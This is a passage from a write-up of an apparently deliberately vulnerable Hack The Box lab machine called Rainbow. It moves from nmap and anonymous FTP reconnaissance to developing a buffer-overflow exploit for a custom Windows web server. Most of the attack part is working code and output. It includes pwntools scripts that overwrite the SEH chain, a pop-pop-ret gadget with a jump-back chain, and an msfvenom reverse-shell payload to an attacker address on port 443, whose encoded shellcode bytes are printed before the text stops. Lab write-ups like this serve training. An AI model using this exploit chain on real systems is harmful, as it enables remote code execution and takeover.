Nmap
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Rainbow]
└─$ nmap -sC -sV -Pn 10.129.234.171 -oN ./nmap.txt
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-30 13:53 +0000
Nmap scan report for 10.129.234.171
Host is up (0.36s latency).
Not shown: 993 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 01-18-22 08:22AM 258 dev.txt
| 01-18-22 08:30AM 54784 rainbow.exe
| 01-16-22 01:34PM 479 restart.ps1
|_01-16-22 12:14PM <DIR> wwwroot
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=rainbow
| Not valid before: 2026-04-29T03:56:25
|_Not valid after: 2026-10-29T03:56:25
|_ssl-date: 2026-04-30T04:02:24+00:00; -9h55m33s from scanner time.
| rdp-ntlm-info:
| Target_Name: RAINBOW
| NetBIOS_Domain_Name: RAINBOW
| NetBIOS_Computer_Name: RAINBOW
| DNS_Domain_Name: rainbow
| DNS_Computer_Name: rainbow
| Product_Version: 10.0.17763
|_ System_Time: 2026-04-30T04:01:41+00:00
8080/tcp open http-proxy
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-title: Dev Wiki powered by Rainbow Webserver
| fingerprint-strings:
| GetRequest, HTTPOptions:
| HTTP/1.1 200 OK
| Cache-Control: no-cache, private
| Content-Type: text/html
| X-Powered-By: Rainbow 0.1
| Content-Length: 1478
| <!DOCTYPE html>
| <html lang="en" xmlns="http://www.w3.org/1999/xhtml">
| <head>
| <meta charset="utf-8" />
| <title>Dev Wiki powered by Rainbow Webserver</title>
| <style>
| .rainbow {
| font-size: 24pt;
| background-image: linear-gradient(to left, violet, indigo, blue, green, yellow, orange, red); -webkit-background-clip: text;
| color: transparent;
| body {
| display: flex;
| justify-content: center;
| align-items: center;
| text-align: center;
| min-height: 100vh;
| </style>
| </head>
| <body>
| <!--
| Under Development, please come back later -->
| <pre class="rainbow">
| _.--'_......----........
| _,i,,-'' __,,...........___
|_ ,;-' _.--'' ___,,...
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.99%I=7%D=4/30%Time=69F35F12%P=aarch64-unknown-linux-gn
SF:u%r(GetRequest,646,"HTTP/1\.1\x20200\x20OK\r\nCache-Control:\x20no-cach
SF:e,\x20private\r\nContent-Type:\x20text/html\r\nX-Powered-By:\x20Rainbow
SF:\x200\.1\r\nContent-Length:\x201478\r\n\r\n\xef\xbb\xbf<!DOCTYPE\x20htm
SF:l>\n\n<html\x20lang=\"en\"\x20xmlns=\"http://www\.w3\.org/1999/xhtml\">
SF:\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"utf-8\"\x20/>\n\x20\x20\x2
SF:0\x20<title>Dev\x20Wiki\x20powered\x20by\x20Rainbow\x20Webserver</title
SF:>\n\x20\x20\x20\x20<style>\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\.rainbow\x20{\n\t\tfont-size:\x2024pt;\n\t\tbackground-image:\x20
SF:linear-gradient\(to\x20left,\x20violet,\x20indigo,\x20blue,\x20green,\x
SF:20yellow,\x20orange,\x20red\);\x20\x20\x20-webkit-background-clip:\x20t
SF:ext;\n\x20\t\tcolor:\x20transparent;\n\t}\n\tbody\x20{\n\x20\x20\t\tdis
SF:play:\x20flex;\n\x20\x20\t\tjustify-content:\x20center;\n\x20\t\t\x20al
SF:ign-items:\x20center;\n\x20\x20\t\ttext-align:\x20center;\n\x20\x20\t\t
SF:min-height:\x20100vh;\n\t}\n\x20\x20\x20\x20</style>\n</head>\n<body>\n
SF:\x20\x20\x20\x20<!--\x20\xf0\x9f\x8c\x88\x20Under\x20Development,\x20pl
SF:ease\x20come\x20back\x20later\x20-->\n\n\n\x20\x20\x20\x20\x20<pre\x20c
SF:lass=\"rainbow\">\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\.--'_\.\.\.\.
SF:\.\.----\.\.\.\.\.\.\.\.\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_,i,,-''\x20__,,\.\.
SF:\.\.\.\.\.\.\.\.\.___\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20,;-'\x20_\.--''\x20\x20\x20\x20
SF:___,,\.\.\.")%r(HTTPOptions,646,"HTTP/1\.1\x20200\x20OK\r\nCache-Contro
SF:l:\x20no-cache,\x20private\r\nContent-Type:\x20text/html\r\nX-Powered-B
SF:y:\x20Rainbow\x200\.1\r\nContent-Length:\x201478\r\n\r\n\xef\xbb\xbf<!D
SF:OCTYPE\x20html>\n\n<html\x20lang=\"en\"\x20xmlns=\"http://www\.w3\.org/
SF:1999/xhtml\">\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"utf-8\"\x20/>
SF:\n\x20\x20\x20\x20<title>Dev\x20Wiki\x20powered\x20by\x20Rainbow\x20Web
SF:server</title>\n\x20\x20\x20\x20<style>\x20\x20\x20\x20\n\x20\x20\x20\x
SF:20\x20\x20\x20\x20\.rainbow\x20{\n\t\tfont-size:\x2024pt;\n\t\tbackgrou
SF:nd-image:\x20linear-gradient\(to\x20left,\x20violet,\x20indigo,\x20blue
SF:,\x20green,\x20yellow,\x20orange,\x20red\);\x20\x20\x20-webkit-backgrou
SF:nd-clip:\x20text;\n\x20\t\tcolor:\x20transparent;\n\t}\n\tbody\x20{\n\x
SF:20\x20\t\tdisplay:\x20flex;\n\x20\x20\t\tjustify-content:\x20center;\n\
SF:x20\t\t\x20align-items:\x20center;\n\x20\x20\t\ttext-align:\x20center;\
SF:n\x20\x20\t\tmin-height:\x20100vh;\n\t}\n\x20\x20\x20\x20</style>\n</he
SF:ad>\n<body>\n\x20\x20\x20\x20<!--\x20\xf0\x9f\x8c\x88\x20Under\x20Devel
SF:opment,\x20please\x20come\x20back\x20later\x20-->\n\n\n\x20\x20\x20\x20
SF:\x20<pre\x20class=\"rainbow\">\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\
SF:.--'_\.\.\.\.\.\.----\.\.\.\.\.\.\.\.\n\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_,i,,-'
SF:'\x20__,,\.\.\.\.\.\.\.\.\.\.\.___\n\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20,;-'\x20_\.--''\x2
SF:0\x20\x20\x20___,,\.\.\.");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-04-30T04:01:44
|_ start_date: N/A
|_clock-skew: mean: -9h55m35s, deviation: 2s, median: -9h55m36s
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 250.55 seconds
FTP - TCP 21
From the nmap output, we can access with anonymous account.
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Rainbow]
└─$ ftp 10.129.234.171 21
Connected to 10.129.234.171.
220 Microsoft FTP Service
Name (10.129.234.171:wither): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
229 Entering Extended Passive Mode (|||50101|)
125 Data connection already open; Transfer starting.
01-18-22 08:22AM 258 dev.txt
01-18-22 08:30AM 54784 rainbow.exe
01-16-22 01:34PM 479 restart.ps1
01-16-22 12:14PM <DIR> wwwroot
226 Transfer complete.
I will download them to our local machine, and check what is going on there.
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Rainbow]
└─$ cat dev.txt
* Our webserver has been crashing a lot lately. Instead of touching the code we added a restart script!
* The server will dynamically pick a port when its default port is unresponsive (8080-8090).
* We'll fix this later by adding load balancer.
- dev team
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Rainbow]
└─$ cat restart.ps1
Set-Location -Path c:\rainbow
for(;;){
try{
If (!(Get-Process -Name rainbow -ErrorAction SilentlyContinue))
{Invoke-Expression "C:\rainbow\rainbow.exe" }
$proc = Get-Process -Name rainbow | Sort-Object -Property ProcessName -Unique -ErrorAction SilentlyContinue
If (!$proc -or ($proc.Responding -eq $false) –or ($proc.WorkingSet -GT 200000*1024)) {
$proc.Kill()
Start-Sleep -s 10
Invoke-Expression "C:\rainbow\rainbow.exe"}
}
catch { }
Start-sleep -s 30
}
This PowerShell script is a process daemon/watchdog script used to ensure that rainbow.exe continues to run.
My idea is that since the script restarts rainbow.exe when it crashes, I'll use FTP to upload a reverse shell to overwrite rainbow.exe, then crash it. After restarting, it will run my binary, giving me a shell.
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Rainbow]
└─$ file rainbow.exe
rainbow.exe: PE32 executable for MS Windows 6.00 (console), Intel i386, 4 sections
Firstly I would try to crash the server I will generate a huge payload and try to send it to different places using curl.
HUGE=$(python -c 'print("A"*1000)')
Then we can send to User-AgentHead or URLlink
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Rainbow]
└─$ curl http://10.129.234.171:8080 -H "User-Agent: $HUGE"
<!DOCTYPE html>
<html lang="en" xmlns="http://www.w3.org/1999/xhtml">
--snip--
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Rainbow]
└─$ curl http://10.129.234.171:8080/$HUGE
<html><h1>404 Not Found</h1></html>
They both handle them well. Maybe trying the POST request
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Rainbow]
└─$ curl http://10.129.234.171:8080 -d "$HUGE"
curl: (56) Recv failure: Connection reset by peer
The server looks like crashed.
Next, I will explore the boundaries of the collapse step by step.
HUGE=$(python -c 'print("A"*500)')
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Rainbow]
└─$ curl http://10.129.234.171:8080 -d "$HUGE"
<!DOCTYPE html>
--snip--
500 is okay for the service.
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Rainbow]
└─$ HUGE=$(python -c 'print("A"*750)')
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Rainbow]
└─$ curl http://10.129.234.171:8080 -d "$HUGE"
curl: (56) Recv failure: Connection reset by peer
750 seems like crashed.
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Rainbow]
└─$ HUGE=$(python -c 'print("A"*650)')
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Rainbow]
└─$ curl http://10.129.234.171:8080 -d "$HUGE"
curl: (56) Recv failure: Connection reset by peer
650 also crashed here.
Also, we can't overwrite the rainbow.exe
ftp> binary
200 Type set to I.
ftp> put rev.exe rainbow.exe
local: rev.exe remote: rainbow.exe
229 Entering Extended Passive Mode (|||50115|)
550 Access is denied.
So we need to think another way to pass this.
Buffer overflow in rainbow.exe
Binary program crashes are often accompanied by buffer overflows. If we successfully find the buffer boundary, we can try to exploit the vulnerability to obtain a shell.
To make it easier for us to see the specific details of debugging more clearly, I will run this web server in my Windows virtual machine.
PS C:\Users\user\Desktop> .\rainbow.exe
Starting Rainbow Server...!
Using TCPView, we can see that the rainbow.exe process has opened port 8080 at address 0.0.0.0.

Next, I will use WinDbg to assist us in reverse engineering.
Firstly start with main function
The program will printf the message "Starting Rainbow Server...!\n"
Then execute a loop to start a server on host 0.0.0.0 using a port between 8080 and 8090; if a port is occupied, it may start the next port.

The server function first calls the WSAStartup function to initialize winsock, and then calls the socket function to create a socket, which returns a descriptor.

It then formats the port using htons, subsequently calls bind to associate the local address with the socket, and finally calls the setsockopt function.

Then it calls the listen function to listen for incoming connections on the port.

The handler function first performs a conditional jump because a loop is about to begin.
In this case, the select function is called to verify that the descriptor in the readfs variable is ready for operation, thus avoiding I/O errors.

If the value returned by select is greater than 0, then follow the red line operation of accept, which will accept the connection and return a new descriptor in the return value.

After the green line, memset is called to reserve memory space, and then recv is used to receive 0x1000 or 4096 bytes from the allocation buffer.

The function that controls the connection compares the method variable with the string GET, where GET is the HTTP request method.

If so, a message is displayed in the terminal, and the path is compared with the string /.

If they are the same, return the content of /index.html; otherwise, compare it with the POST method, performing the same comparison so that we know it received an HTTP request.

The content sent in an HTTP request is controlled by a custom binary; we can try to corrupt it by sending a large amount of data. Sending it via a GET request will not cause corruption, but sending it via a POST request will.
curl -X GET 192.168.100.5:8080/$(python3 -c 'print("A" * 1000)')
<html><h1>404 Not Found</h1></html>
curl -X POST 192.168.100.5:8080/ -d $(python3 -c 'print("A" * 1000)')
curl: (56) Recv failure: Connection reset by peer
From the debugger's perspective, the program is corrupted, but we have no control over the EIP register.
0:000> g
(3fc8.38e8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=fffffffc ebx=005a5f28 ecx=41414141 edx=00000004 esi=004020c0 edi=005a5f28
eip=00406156 esp=00bcf8c8 ebp=00bcf8d8 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
Rainbow+0x6156:
00406156 8b1401 mov edx,dword ptr [ecx+eax] ds:002b:4141413d=????????
0:000> !exchain
00bcf8e8: Rainbow+a040 (0040a040)
00bcf928: Rainbow+a040 (0040a040)
00bcfbe8: 41414141
Invalid exception stack at 41414141
However, if we look at the values of the SEH structure, there is a classic stack buffer overflow. The SEH chain has been overwritten by 0x41414141 (AAAA), which presents an exploitable SEH overwrite vulnerability.
Next, we will send a pattern with cyclic instead of A's to find the offset to overwrite the structure, which is the value of a part of the string created using cyclic.
#!/usr/bin/python3
from pwn import remote, p32, cyclic
payload = b""
payload += cyclic(1000)
content = b"POST / HTTP/1.1\r\n" + payload
shell = remote("192.168.100.5", 8080)
shell.send(content)
shell.interactive()
0:000> g
(4394.38f8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=fffffffc ebx=005e4e40 ecx=6661616a edx=00000004 esi=004020c0 edi=005e4e40
eip=00406156 esp=00a8f8c8 ebp=00a8f8d8 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
Rainbow+0x6156:
00406156 8b1401 mov edx,dword ptr [ecx+eax] ds:002b:66616166=????????
0:000> !exchain
00a8f8e8: Rainbow+a040 (0040a040)
00a8f928: Rainbow+a040 (0040a040)
00a8fbe8: 67616171
Invalid exception stack at 67616170
We pass this value to cyclic, which tells us to overwrite the offset of the next SEH pointer by 660 bytes and the offset of the SEH handler by 664 bytes.
cyclic -l 0x67616170
660
cyclic -l 0x67616171
664
Our payload will now send 660 A's, then overwrite the SEH structure, 4 B's (which will serve as the next SEH), and 4 C's (which will serve as the controller). Additionally, we will pad the D's until we reach 1000 bytes to force an exception by sending a large number of bytes, thus maintaining the stability of the exploit.
#!/usr/bin/python3
from pwn import remote, p32
offset = 660
junk = b"A" * offset
nseh = b"B" * 4
seh = b"C" * 4
payload = b""
payload += junk
payload += nseh + seh
payload += b"D" * (1000 - len(payload))
content = b"POST / HTTP/1.1\r\n" + payload
shell = remote("192.168.100.5", 8080)
shell.send(content)
shell.interactive()
When the exploit is sent, the program will be corrupted, but we now control the SEH structure with a value of 0x42424242 and the controller with a value of 0x43434343. If we continue, by executing an exception, we will eventually gain control of the EIP register.
0:000> g
(1734.1060): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=fffffffc ebx=004b4e58 ecx=41414141 edx=00000004 esi=004020c0 edi=004b4e58
eip=00406156 esp=00a8f8c8 ebp=00a8f8d8 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
Rainbow+0x6156:
00406156 8b1401 mov edx,dword ptr [ecx+eax] ds:002b:4141413d=????????
0:000> !exchain
00a8f8e8: Rainbow+a040 (0040a040)
00a8f928: Rainbow+a040 (0040a040)
00a8fbe8: 43434343
Invalid exception stack at 42424242
0:000> g
(1734.1060): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=43434343 edx=77809de0 esi=00000000 edi=00000000
eip=43434343 esp=00a8f310 ebp=00a8f330 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
43434343 ?? ???
When an exception occurs, the SEH value is moved onto the stack as it would be when a function is called; what we are interested in is that the pointer to the next SEH is located at address esp + 8.
0:000> dds esp L3
00a8f310 77809dc2 ntdll!ExecuteHandler2+0x26
00a8f314 00a8f410
00a8f318 00a8fbe8
0:000> db poi(esp + 8)
00a8fbe8 42 42 42 42 43 43 43 43-05 44 44 44 44 44 44 44 BBBBCCCC.DDDDDDD
00a8fbf8 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
00a8fc08 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
00a8fc18 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
00a8fc28 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
00a8fc38 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
00a8fc48 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
00a8fc58 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
We can use ropper to run pop; pop; ret; to execute nseh values.
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Rainbow]
└─$ ropper --file rainbow.exe --ppr
POP;POP;RET Instructions
========================
0x004091b7: pop edi; pop esi; ret;
0x004092ad: pop ecx; pop ebp; ret;
0x004094d8: pop ecx; pop ecx; ret;
0x00409569: pop esi; pop ebp; ret;
0x00409657: pop esi; pop ebp; ret;
0x00409add: pop esi; pop ebx; ret;
0x00409b09: pop esi; pop ebx; ret;
0x00409b81: pop esi; pop ebp; ret;
0x0040165c: add esp, 4; pop ebp; ret;
0x00403ffc: add esp, 4; pop ebp; ret;
0x004061bc: add esp, 4; pop ebp; ret;
0x004080ec: add esp, 4; pop ebp; ret;
12 gadgets found
This time we changed the value of seh, so when the program is corrupted, the exception now points to pop; pop; ret; We set a breakpoint in the exception handler.
seh = p32(0x004091b7) # pop; pop; ret;
0:000> g
(2c68.c58): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=fffffffc ebx=006e4e40 ecx=41414141 edx=00000004 esi=004020c0 edi=006e4e40
eip=00406156 esp=00acf8c8 ebp=00acf8d8 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
Rainbow+0x6156:
00406156 8b1401 mov edx,dword ptr [ecx+eax] ds:002b:4141413d=????????
0:000> !exchain
00acf8e8: Rainbow+a040 (0040a040)
00acf928: Rainbow+a040 (0040a040)
00acfbe8: Rainbow+91b7 (004091b7)
Invalid exception stack at 42424242
0:000> bp 0x004091b7
When the breakpoint is reached and pop; pop; ret; is executed, it will use the value of nseh as the opcode.
0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=004091b7 edx=77809de0 esi=00000000 edi=00000000
eip=004091b7 esp=00acf310 ebp=00acf330 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
Rainbow+0x91b7:
004091b7 5f pop edi
0:000> pt
eax=00000000 ebx=00000000 ecx=004091b7 edx=77809de0 esi=00acf410 edi=77809dc2
eip=004091b9 esp=00acf318 ebp=00acf330 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
Rainbow+0x91b9:
004091b9 c3 ret
0:003> p
eax=00000000 ebx=00000000 ecx=004091b7 edx=77809de0 esi=00acf410 edi=77809dc2
eip=00acfbe8 esp=00acf31c ebp=00acf330 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
00acfbe8 42 inc edx
0:000> u eip L4
00acfbe8 42 inc edx
00acfbe9 42 inc edx
00acfbea 42 inc edx
00acfbeb 42 inc edx
We encountered a problem because the address of pop; pop; ret; contains the byte 00, so the content written after the seh controller is not reflected, D's will not be written to memory, and we cannot write shellcode there.
0:000> dds eip L8
00acfbe8 42424242
00acfbec 004091b7 Rainbow+0x91b7
00acfbf0 00000005
00acfbf4 00acfef4
00acfbf8 004026b3 Rainbow+0x26b3
00acfbfc 006e6488
00acfc00 006e64e8
00acfc04 006e64e8
We could consider going back to the beginning of the shellcode, but a short jump of 0x294 or 660 bytes cannot fit into the nseh's dword. So we can jump back 5 bytes, which is the weight of the jump opcode, where we will store another short jump of 655 or 0x28f bytes, going back to the beginning of the shellcode.
python3
>>> from pwn import asm
>>> len(asm("jmp $-0x294"))
5
>>> len(asm("jmp $-0x5"))
2
>>> hex(660 - 5)
'0x28f'
>>>
Then, our exploit will write up to 5 bytes of A's until it reaches the offset, where we write shellcode, then write the structure, and the controller jumps to the next nseh, which will make a short jump to another jump that goes to the beginning of the send buffer.
#!/usr/bin/python3
from pwn import remote, p32, asm
back = asm("jmp $-0x28f")
offset = 660
junk = b"A" * (offset - len(back))
nseh = asm("jmp $-5").ljust(4, b"A")
seh = p32(0x004091b7) # pop; pop; ret;
payload = b""
payload += junk
payload += back
payload += nseh + seh
content = b"POST / HTTP/1.1\r\n" + payload
shell = remote("192.168.100.5", 8080)
shell.send(content)
shell.interactive()
Now when we run it, nseh has the value of the opcode, and we set a breakpoint.
0:000> g
(770.2150): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=fffffffc ebx=004e58d8 ecx=41414141 edx=00000004 esi=004020c0 edi=004e58d8
eip=00406156 esp=00d0f8c8 ebp=00d0f8d8 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
Rainbow+0x6156:
00406156 8b1401 mov edx,dword ptr [ecx+eax] ds:002b:4141413d=????????
0:000> !exchain
00d0f8e8: Rainbow+a040 (0040a040)
00d0f928: Rainbow+a040 (0040a040)
00d0fbe8: Rainbow+91b7 (004091b7)
Invalid exception stack at 4141f9eb
0:000> bp 004091b7
When running pop; pop; ret;, it will perform a short jump of 5 bytes.
0:000> g
Breakpoint 1 hit
eax=00000000 ebx=00000000 ecx=004091b7 edx=77809de0 esi=00000000 edi=00000000
eip=004091b7 esp=00d0f310 ebp=00d0f330 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
Rainbow+0x91b7:
004091b7 5f pop edi
0:000> pt
eax=00000000 ebx=00000000 ecx=004091b7 edx=77809de0 esi=00d0f410 edi=77809dc2
eip=004091b9 esp=00d0f318 ebp=00d0f330 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
Rainbow+0x91b9:
004091b9 c3 ret
0:000> p
eax=00000000 ebx=00000000 ecx=004091b7 edx=77809de0 esi=00d0f410 edi=77809dc2
eip=00d0fbe8 esp=00d0f31c ebp=00d0f330 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
00d0fbe8 ebf9 jmp 00d0fbe3
If we execute that short jump, it will now execute another jump, which points to the beginning of the shellcode; we can check this by looking at the bytes of db, where the previous byte does not contain an A's.
0:000> p
eax=00000000 ebx=00000000 ecx=004091b7 edx=77809de0 esi=00d0f410 edi=77809dc2
eip=00d0fbe3 esp=00d0f31c ebp=00d0f330 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
00d0fbe3 e96cfdffff jmp 00d0f954
0:000> p
eax=00000000 ebx=00000000 ecx=004091b7 edx=77809de0 esi=00d0f410 edi=77809dc2
eip=00d0f954 esp=00d0f31c ebp=00d0f330 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
00d0f954 41 inc ecx
0:000> db eip - 1
00d0f953 00 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 .AAAAAAAAAAAAAAA
00d0f963 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00d0f973 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00d0f983 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00d0f993 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00d0f9a3 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00d0f9b3 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00d0f9c3 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
Now that we can exploit this vulnerability to execute shellcode, all that remains is to use msfvenom to generate a new shellcode and send a reverse shell through port 443.
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Rainbow]
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.42 LPORT=443 -b '\x00\x0a\x0d' -f python -v shellcode -e x86/jmp_call_additive
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive succeeded with size 353 (iteration=0)
x86/jmp_call_additive chosen with final size 353
Payload size: 353 bytes
Final size of python file: 1990 bytes
shellcode = b""
shellcode += b"\xfc\xbb\xa4\x19\xa0\x48\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\x58\xf1\x22\x48\xa0\x02\x43\xc0"
shellcode += b"\x45\x33\x43\xb6\x0e\x64\x73\xbc\x42\x89\xf8"
shellcode += b"\x90\x76\x1a\x8c\x3c\x79\xab\x3b\x1b\xb4\x2c"
shellcode += b"\x17\x5f\xd7\xae\x6a\x8c\x37\x8e\xa4\xc1\x36"
shellcode += b"\xd7\xd9\x28\x6a\x80\x96\x9f\x9a\xa5\xe3\x23"
shellcode += b"\x11\xf5\xe2\x23\xc6\x4e\x04\x05\x59\xc4\x5f"
shellcode += b"\x85\x58\x09\xd4\x8c\x42\x4e\xd1\x47\xf9\xa4"
shellcode += b"\xad\x59\x2b\xf5\x4e\xf5\x12\x39\xbd\x07\x53"
shellcode += b"\xfe\x5e\x72\xad\xfc\xe3\x85\x6a\x7e\x38\x03"
shellcode += b"\x68\xd8\xcb\xb3\x54\xd8\x18\x25\x1f\xd6\xd5"
shellcode += b"\x21\x47\xfb\xe8\xe6\xfc\x07\x60\x09\xd2\x81"
shellcode += b"\x32\x2e\xf6\xca\xe1\x4f\xaf\xb6\x44\x6f\xaf"
shellcode += b"\x18\x38\xd5\xa4\xb5\x2d\x64\xe7\xd1\x82\x45"
shellcode += b"\x17\x22\x8d\xde\x64\x10\x12\x75\xe2\x18\xdb"
shellcode += b"\x53\xf5\x5f\xf6\x24\x69\x9e\xf9\x54\xa0\x65"
shellcode += b"\xad\x04\xda\x4c\xce\xce\x1a\x70\x1b\x40\x4a"
shellcode += b"\xde\xf4\x21\x3a\x9e\xa4\xc9\x50\x11\x9a\xea"
shellcode += b"\x5b\xfb\xb3\x81\xa6\x6c\xb6\x5f\xa6\x46\xae"
shellcode += b"\x5d\xb6\x97\x95\xeb\x50\xfd\xf9\xbd\xcb\x6a"
shellcode += b"\x63\xe4\x87\x0b\x6c\x32\xe2\x0c\xe6\xb1\x13"
shellcode += b"\xc2\x0f\xbf\x07\xb3\xff\x8a\x75\x12\xff\x20"
shellcode += b"\x11\xf8\x92\xae\xe1\x77\x8f\x78\xb6\xd0\x61"
shellcode += b"\x71\x52\xcd\xd8\x2b\x40\x0c\xbc\x14\xc0\xcb"
shellcode += b"\x7d\x9a\xc9\x9e\x3a\xb8\xd9\x66\xc2\x84\x8d"
shellcode += b"\x36\x95\x52\x7b\xf1\x4f\x15\xd5\xab\x3c\xff"
shellcode += b"\xb1\x2a\x0f\xc0\xc7\x32\x5a\xb6\x27\x82\x33"
shellcode += b"\x8f\x58\x2b\xd4\x07\x21\x51\x44\xe7\xf8\xd1"
shellcode += b"\x74\xa2\xa0\x70\x1d\x6b\x31\xc1\x40\x8c\xec"
shellcode += b"\x06\x7d\x0f\x04\xf7\x7a\x0f\x6d\xf2\xc7\x97"
